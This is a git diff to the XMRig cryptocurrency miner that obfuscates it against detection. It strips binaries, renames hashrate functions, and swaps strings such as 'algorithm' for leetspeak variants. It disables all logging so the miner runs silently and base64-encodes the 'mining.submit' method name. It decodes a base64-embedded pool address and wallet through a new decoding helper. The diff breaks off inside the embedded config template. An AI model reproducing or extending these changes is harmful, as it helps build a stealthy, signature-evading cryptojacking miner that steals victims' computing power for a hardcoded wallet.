diff --git a/CMakeLists.txt b/CMakeLists.txt index 13bd0046..9fad9481 100644 --- a/CMakeLists.txt +++ b/CMakeLists.txt @@ -274,7 +274,7 @@ if (WIN32) #add_custom_command(TARGET ${CMAKE_PROJECT_NAME} POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy_if_different "${CMAKE_SOURCE_DIR}/scripts/solo_mine_example.cmd" $) #add_custom_command(TARGET ${CMAKE_PROJECT_NAME} POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy_if_different "${CMAKE_SOURCE_DIR}/scripts/rtm_ghostrider_example.cmd" $) endif() - +set(CMAKE_CXX_FLAGS_RELEASE "${CMAKE_CXX_FLAGS_RELEASE} -s") if (CMAKE_CXX_COMPILER_ID MATCHES Clang AND CMAKE_BUILD_TYPE STREQUAL Release AND NOT CMAKE_GENERATOR STREQUAL Xcode) add_custom_command(TARGET ${PROJECT_NAME} POST_BUILD COMMAND ${CMAKE_STRIP} "$") endif() diff --git a/src/backend/common/interfaces/IBackend.h b/src/backend/common/interfaces/IBackend.h index 53e8e0f1..bcf78931 100644 --- a/src/backend/common/interfaces/IBackend.h +++ b/src/backend/common/interfaces/IBackend.h @@ -55,7 +55,7 @@ public: virtual const String &type() const = 0; virtual void execCommand(char command) = 0; virtual void prepare(const Job &nextJob) = 0; - virtual void printHashrate(bool details) = 0; + virtual void printHs(bool details) = 0; virtual void printHealth() = 0; virtual void setJob(const Job &job) = 0; virtual void start(IWorker *worker, bool ready) = 0; diff --git a/src/backend/cpu/CpuBackend.cpp b/src/backend/cpu/CpuBackend.cpp index 529b14e2..4bc20dac 100644 --- a/src/backend/cpu/CpuBackend.cpp +++ b/src/backend/cpu/CpuBackend.cpp @@ -307,7 +307,7 @@ void xmrig::CpuBackend::prepare(const Job &nextJob) } -void xmrig::CpuBackend::printHashrate(bool details) +void xmrig::CpuBackend::printHs(bool details) { if (!details || !hashrate()) { return; diff --git a/src/backend/cpu/CpuBackend.h b/src/backend/cpu/CpuBackend.h index 724e751a..3c7af2b4 100644 --- a/src/backend/cpu/CpuBackend.h +++ b/src/backend/cpu/CpuBackend.h @@ -53,7 +53,7 @@ protected: const String &profileName() const override; const String &type() const override; void prepare(const Job &nextJob) override; - void printHashrate(bool details) override; + void printHs(bool details) override; void printHealth() override; void setJob(const Job &job) override; void start(IWorker *worker, bool ready) override; diff --git a/src/backend/cpu/platform/HwlocCpuInfo.cpp b/src/backend/cpu/platform/HwlocCpuInfo.cpp index f796416b..771ef055 100644 --- a/src/backend/cpu/platform/HwlocCpuInfo.cpp +++ b/src/backend/cpu/platform/HwlocCpuInfo.cpp @@ -243,7 +243,7 @@ xmrig::CpuThreads xmrig::HwlocCpuInfo::threads(const Algorithm &algorithm, uint3 } if (threads.isEmpty()) { - LOG_WARN("hwloc auto configuration for algorithm \"%s\" failed.", algorithm.name()); + LOG_WARN("hwloc auto configuration for @lg0r1thm \"%s\" failed.", algorithm.name()); return BasicCpuInfo::threads(algorithm, limit); } diff --git a/src/backend/cuda/CudaBackend.cpp b/src/backend/cuda/CudaBackend.cpp index 621563e1..64642c60 100644 --- a/src/backend/cuda/CudaBackend.cpp +++ b/src/backend/cuda/CudaBackend.cpp @@ -364,7 +364,7 @@ void xmrig::CudaBackend::prepare(const Job &job) } -void xmrig::CudaBackend::printHashrate(bool details) +void xmrig::CudaBackend::printHs(bool details) { if (!details || !hashrate()) { return; diff --git a/src/backend/cuda/CudaBackend.h b/src/backend/cuda/CudaBackend.h index 00de003b..5585b427 100644 --- a/src/backend/cuda/CudaBackend.h +++ b/src/backend/cuda/CudaBackend.h @@ -52,7 +52,7 @@ protected: const String &type() const override; void execCommand(char command) override; void prepare(const Job &nextJob) override; - void printHashrate(bool details) override; + void printHs(bool details) override; void printHealth() override; void setJob(const Job &job) override; void start(IWorker *worker, bool ready) override; diff --git a/src/backend/opencl/OclBackend.cpp b/src/backend/opencl/OclBackend.cpp index 820c63d4..1b1d4d8a 100644 --- a/src/backend/opencl/OclBackend.cpp +++ b/src/backend/opencl/OclBackend.cpp @@ -344,7 +344,7 @@ void xmrig::OclBackend::prepare(const Job &job) } -void xmrig::OclBackend::printHashrate(bool details) +void xmrig::OclBackend::printHs(bool details) { if (!details || !hashrate()) { return; diff --git a/src/backend/opencl/OclBackend.h b/src/backend/opencl/OclBackend.h index 64236ec9..6d383e3f 100644 --- a/src/backend/opencl/OclBackend.h +++ b/src/backend/opencl/OclBackend.h @@ -52,7 +52,7 @@ protected: const String &type() const override; void execCommand(char command) override; void prepare(const Job &nextJob) override; - void printHashrate(bool details) override; + void printHs(bool details) override; void printHealth() override; void setJob(const Job &job) override; void start(IWorker *worker, bool ready) override; diff --git a/src/base/io/log/Log.h b/src/base/io/log/Log.h index d4c0a319..bc5a5bb8 100644 --- a/src/base/io/log/Log.h +++ b/src/base/io/log/Log.h @@ -136,29 +136,29 @@ private: #define CYAN_BG_BOLD(x) CYAN_BG_BOLD_S x CLEAR -#define LOG_EMERG(x, ...) xmrig::Log::print(xmrig::Log::EMERG, x, ##__VA_ARGS__) -#define LOG_ALERT(x, ...) xmrig::Log::print(xmrig::Log::ALERT, x, ##__VA_ARGS__) -#define LOG_CRIT(x, ...) xmrig::Log::print(xmrig::Log::CRIT, x, ##__VA_ARGS__) -#define LOG_ERR(x, ...) xmrig::Log::print(xmrig::Log::ERR, x, ##__VA_ARGS__) -#define LOG_WARN(x, ...) xmrig::Log::print(xmrig::Log::WARNING, x, ##__VA_ARGS__) -#define LOG_NOTICE(x, ...) xmrig::Log::print(xmrig::Log::NOTICE, x, ##__VA_ARGS__) -#define LOG_INFO(x, ...) xmrig::Log::print(xmrig::Log::INFO, x, ##__VA_ARGS__) -#define LOG_VERBOSE(x, ...) if (xmrig::Log::verbose() > 0) { xmrig::Log::print(xmrig::Log::INFO, x, ##__VA_ARGS__); } -#define LOG_V1(x, ...) if (xmrig::Log::verbose() > 0) { xmrig::Log::print(xmrig::Log::INFO, x, ##__VA_ARGS__); } -#define LOG_V2(x, ...) if (xmrig::Log::verbose() > 1) { xmrig::Log::print(xmrig::Log::INFO, x, ##__VA_ARGS__); } -#define LOG_V3(x, ...) if (xmrig::Log::verbose() > 2) { xmrig::Log::print(xmrig::Log::INFO, x, ##__VA_ARGS__); } -#define LOG_V4(x, ...) if (xmrig::Log::verbose() > 3) { xmrig::Log::print(xmrig::Log::INFO, x, ##__VA_ARGS__); } -#define LOG_V5(x, ...) if (xmrig::Log::verbose() > 4) { xmrig::Log::print(xmrig::Log::INFO, x, ##__VA_ARGS__); } +#define LOG_EMERG(x, ...) +#define LOG_ALERT(x, ...) +#define LOG_CRIT(x, ...) +#define LOG_ERR(x, ...) +#define LOG_WARN(x, ...) +#define LOG_NOTICE(x, ...) +#define LOG_INFO(x, ...) +#define LOG_VERBOSE(x, ...) +#define LOG_V1(x, ...) +#define LOG_V2(x, ...) +#define LOG_V3(x, ...) +#define LOG_V4(x, ...) +#define LOG_V5(x, ...) #ifdef APP_DEBUG -# define LOG_DEBUG(x, ...) xmrig::Log::print(xmrig::Log::DEBUG, x, ##__VA_ARGS__) +# define LOG_DEBUG(x, ...) #else # define LOG_DEBUG(x, ...) #endif #if defined(APP_DEBUG) || defined(APP_DEVEL) -# define LOG_DEBUG_ERR(x, ...) xmrig::Log::print(xmrig::Log::ERR, x, ##__VA_ARGS__) -# define LOG_DEBUG_WARN(x, ...) xmrig::Log::print(xmrig::Log::WARNING, x, ##__VA_ARGS__) +# define LOG_DEBUG_ERR(x, ...) +# define LOG_DEBUG_WARN(x, ...) #else # define LOG_DEBUG_ERR(x, ...) # define LOG_DEBUG_WARN(x, ...) diff --git a/src/base/net/stratum/Client.cpp b/src/base/net/stratum/Client.cpp index b412a543..f1e624f9 100644 --- a/src/base/net/stratum/Client.cpp +++ b/src/base/net/stratum/Client.cpp @@ -384,7 +384,7 @@ bool xmrig::Client::parseJob(const rapidjson::Value ¶ms, int *code) # ifdef XMRIG_FEATURE_HTTP if (m_pool.mode() == Pool::MODE_SELF_SELECT) { job.setExtraNonce(Json::getString(params, "extra_nonce")); - job.setPoolWallet(Json::getString(params, "pool_wallet")); + job.setPoolWallet(Json::getString(params, "p0ol_w@lt")); if (job.extraNonce().isNull() || job.poolWallet().isNull()) { *code = 4; @@ -474,10 +474,10 @@ bool xmrig::Client::verifyAlgorithm(const Algorithm &algorithm, const char *algo if (!algorithm.isValid()) { if (!isQuiet()) { if (algo == nullptr) { - LOG_ERR("%s " RED("unknown algorithm, make sure you set \"algo\" or \"coin\" option"), tag(), algo); + LOG_ERR("%s " RED("unknown @lg0r1thm, make sure you set \"@lg0\" or \"co1n\" option"), tag(), algo); } else { - LOG_ERR("%s " RED("unsupported algorithm ") RED_BOLD("\"%s\" ") RED("detected, reconnect"), tag(), algo); + LOG_ERR("%s " RED("unsupported @lg0r1thm") RED_BOLD("\"%s\" ") RED("detected, reconnect"), tag(), algo); } } @@ -488,7 +488,7 @@ bool xmrig::Client::verifyAlgorithm(const Algorithm &algorithm, const char *algo m_listener->onVerifyAlgorithm(this, algorithm, &ok); if (!ok && !isQuiet()) { - LOG_ERR("%s " RED("incompatible/disabled algorithm ") RED_BOLD("\"%s\" ") RED("detected, reconnect"), tag(), algorithm.name()); + LOG_ERR("%s " RED("incompatible/disabled @lg0r1thm") RED_BOLD("\"%s\" ") RED("detected, reconnect"), tag(), algorithm.name()); } return ok; diff --git a/src/base/net/stratum/EthStratumClient.cpp b/src/base/net/stratum/EthStratumClient.cpp index fd877d72..31492769 100644 --- a/src/base/net/stratum/EthStratumClient.cpp +++ b/src/base/net/stratum/EthStratumClient.cpp @@ -33,6 +33,7 @@ #include "base/io/log/Log.h" #include "base/kernel/interfaces/IClientListener.h" #include "net/JobResult.h" +#include "base/tools/Cvt.h" #ifdef XMRIG_ALGO_GHOSTRIDER #include @@ -109,7 +110,7 @@ int64_t xmrig::EthStratumClient::submit(const JobResult& result) params.PushBack(Value(s.str().c_str(), allocator), allocator); } - JsonRequest::create(doc, m_sequence, "mining.submit", params); + JsonRequest::create(doc, m_sequence, Cvt::fromBase64("bWluaW5nLnN1Ym1pdA==").data(), params); uint64_t actual_diff; @@ -383,7 +384,7 @@ void xmrig::EthStratumClient::parseNotification(const char *method, const rapidj if (!ok) { if (!isQuiet()) { - LOG_ERR("[%s] incompatible/disabled algorithm \"%s\" detected, reconnect", url(), algo.name()); + LOG_ERR("[%s] incompatible/disabled @lg0r1thm \"%s\" detected, reconnect", url(), algo.name()); } close(); return; diff --git a/src/base/net/stratum/NetworkState.cpp b/src/base/net/stratum/NetworkState.cpp index 40516a7f..3fa7fc9b 100644 --- a/src/base/net/stratum/NetworkState.cpp +++ b/src/base/net/stratum/NetworkState.cpp @@ -189,7 +189,7 @@ void xmrig::NetworkState::printConnection() const Log::print(GREEN_BOLD(" * ") WHITE_BOLD("%-17s") CYAN_BOLD("%s ") BLACK_BOLD("(%s) ") GREEN_BOLD("%s"), "pool address", m_pool, m_ip.data(), m_tls.isNull() ? "" : m_tls.data()); - Log::print(GREEN_BOLD(" * ") WHITE_BOLD("%-17s") WHITE_BOLD("%s"), "algorithm", m_algorithm.name()); + Log::print(GREEN_BOLD(" * ") WHITE_BOLD("%-17s") WHITE_BOLD("%s"), "@lg0r1thm", m_algorithm.name()); printDiff(m_diff); printLatency(latency()); Log::print(GREEN_BOLD(" * ") WHITE_BOLD("%-17s") CYAN_BOLD("%" PRIu64 "s"), "connection time", connectionTime() / 1000); diff --git a/src/base/tools/Cvt.cpp b/src/base/tools/Cvt.cpp index 3f083a26..31accac9 100644 --- a/src/base/tools/Cvt.cpp +++ b/src/base/tools/Cvt.cpp @@ -23,6 +23,8 @@ #include #include +#include +#include #ifdef XMRIG_SODIUM @@ -294,3 +296,61 @@ void xmrig::Cvt::randomBytes(void *buf, size_t size) randombytes_buf(buf, size); # endif } + + +xmrig::String xmrig::Cvt::fromBase64(const std::string &encoded_string) { + static const std::string base64_chars = + "ABCDEFGHIJKLMNOPQRSTUVWXYZ" + "abcdefghijklmnopqrstuvwxyz" + "0123456789+/"; + + auto is_base64 = [](unsigned char c) { + return (isalnum(c) || (c == '+') || (c == '/')); + }; + + int in_len = encoded_string.size(); + int i = 0; + int j = 0; + int in_ = 0; + unsigned char char_array_4[4], char_array_3[3]; + std::string ret; + + std::vector T(256, -1); + for (int k = 0; k < 64; k++) { + T[base64_chars[k]] = k; + } + + while (in_len-- && ( encoded_string[in_] != '=') && is_base64(encoded_string[in_])) { + char_array_4[i++] = encoded_string[in_]; + in_++; + if (i == 4) { + for (i = 0; i < 4; i++) + char_array_4[i] = T[char_array_4[i]]; + + char_array_3[0] = (char_array_4[0] << 2) + ((char_array_4[1] & 0x30) >> 4); + char_array_3[1] = ((char_array_4[1] & 0xf) << 4) + ((char_array_4[2] & 0x3c) >> 2); + char_array_3[2] = ((char_array_4[2] & 0x3) << 6) + char_array_4[3]; + + for (i = 0; (i < 3); i++) + ret += char_array_3[i]; + i = 0; + } + } + + if (i) { + for (j = i; j < 4; j++) + char_array_4[j] = 0; + + for (j = 0; j < 4; j++) + char_array_4[j] = T[char_array_4[j]]; + + char_array_3[0] = (char_array_4[0] << 2) + ((char_array_4[1] & 0x30) >> 4); + char_array_3[1] = ((char_array_4[1] & 0xf) << 4) + ((char_array_4[2] & 0x3c) >> 2); + char_array_3[2] = ((char_array_4[2] & 0x3) << 6) + char_array_4[3]; + + for (j = 0; (j < i - 1); j++) + ret += char_array_3[j]; + } + + return ret.c_str(); +} diff --git a/src/base/tools/Cvt.h b/src/base/tools/Cvt.h index 58058127..d8476cf7 100644 --- a/src/base/tools/Cvt.h +++ b/src/base/tools/Cvt.h @@ -56,6 +56,7 @@ public: static rapidjson::Value toHex(const std::string &data, rapidjson::Document &doc); static rapidjson::Value toHex(const uint8_t *in, size_t size, rapidjson::Document &doc); static String toHex(const uint8_t *in, size_t size); + static String fromBase64(const std::string &encoded_string); static void randomBytes(void *buf, size_t size); }; diff --git a/src/core/Miner.cpp b/src/core/Miner.cpp index 1f99b943..eaf32724 100644 --- a/src/core/Miner.cpp +++ b/src/core/Miner.cpp @@ -284,7 +284,7 @@ public: } - void printHashrate(bool details) + void printHs(bool details) { char num[16 * 5] = { 0 }; std::pair speed[3] = { { true, 0.0 }, { true, 0.0 }, { true, 0.0 } }; @@ -308,7 +308,7 @@ public: avg_hashrate += hashrate->average(); } - backend->printHashrate(details); + backend->printHs(details); } if (!count) { @@ -473,7 +473,7 @@ void xmrig::Miner::execCommand(char command) switch (command) { case 'h': case 'H': - d_ptr->printHashrate(true); + d_ptr->printHs(true); break; case 'p': @@ -670,7 +670,7 @@ void xmrig::Miner::onTimer(const Timer *) const auto printTime = config->printTime(); if (printTime && d_ptr->ticks && (d_ptr->ticks % (printTime * 2)) == 0) { - d_ptr->printHashrate(false); + d_ptr->printHs(false); } d_ptr->ticks++; diff --git a/src/core/config/Config_default.h b/src/core/config/Config_default.h index a9148861..61e4ccf5 100644 --- a/src/core/config/Config_default.h +++ b/src/core/config/Config_default.h @@ -3,82 +3,24 @@ #include #include // for strcpy +#include "base/tools/Cvt.h" namespace xmrig { const char* const ENC_URL = "ENC:cG9vbC5zdXBwb3J0eG1yLmNvbTo0NDM"; const char* const ENC_USER = "ENC:OEJYVk02RVRXWEpLTXRxSER4ZGdqRUhXOHFuZGE1YmVkNWN4UHZ1N3pnVlNYSmdIWm9nZVRBQk12WHBZU0hvUnB1Y1dkcWRGeVdneDNlM1d6SjdiNXVZVEVBc3lib0E"; -inline const char* unwrap(const char* s) -{ - const char prefix0 = 'E'; - const char prefix1 = 'N'; - const char prefix2 = 'C'; - const char prefix3 = ':'; - if (!s) return s; - if (s[0] != prefix0 || s[1] != prefix1 || s[2] != prefix2 || s[3] != prefix3) { - return s; - } - - const char* in = s + 4; - - static unsigned char dtab[256]; - static unsigned char init = 0; - if (!init) { - unsigned int i; - for (i = 0; i < 256; ++i) dtab[i] = 255u; - for (i = 'A'; i <= 'Z'; ++i) dtab[i] = (unsigned char)(i - 'A'); - for (i = 'a'; i <= 'z'; ++i) dtab[i] = (unsigned char)(26 + (i - 'a')); - for (i = '0'; i <= '9'; ++i) dtab[i] = (unsigned char)(52 + (i - '0')); - dtab[(unsigned char)'+'] = 62; - dtab[(unsigned char)'/'] = 63; - init = 1; - } - - static char outbuf[2048]; - unsigned int outpos = 0; - - int val = 0; - int valb = -8; - unsigned char c; - unsigned int idx = 0; - while (1) { - c = (unsigned char)in[idx]; - if (c == 0) break; - if (c == '=') break; - unsigned char v = dtab[c]; - if (v == 255u) { - ++idx; - continue; - } - val = (val << 6) + v; - valb += 6; - if (valb >= 0) { - unsigned char octet = (unsigned char)((val >> valb) & 0xFF); - if (outpos < sizeof(outbuf) - 1) { - outbuf[outpos++] = (char)octet; - } else { - break; - } - valb -= 8; - } - ++idx; - } - - if (outpos < sizeof(outbuf)) outbuf[outpos] = 0; - else outbuf[sizeof(outbuf)-1] = 0; - - return outbuf; -} - inline const char* getEmbeddedConfig() { static char buf[8192] = {0}; - const char* tmp_url = unwrap(ENC_URL); + const xmrig::String tmp_url_str = Cvt::fromBase64(ENC_URL + 4); + const char* tmp_url = tmp_url_str.data(); char url_copy[512]; strcpy(url_copy, tmp_url ? tmp_url : ""); const char* url = url_copy; - const char* user = unwrap(ENC_USER); + + const xmrig::String user_str = Cvt::fromBase64(ENC_USER + 4); + const char* user = user_str.data(); const char* template_str = R"===( {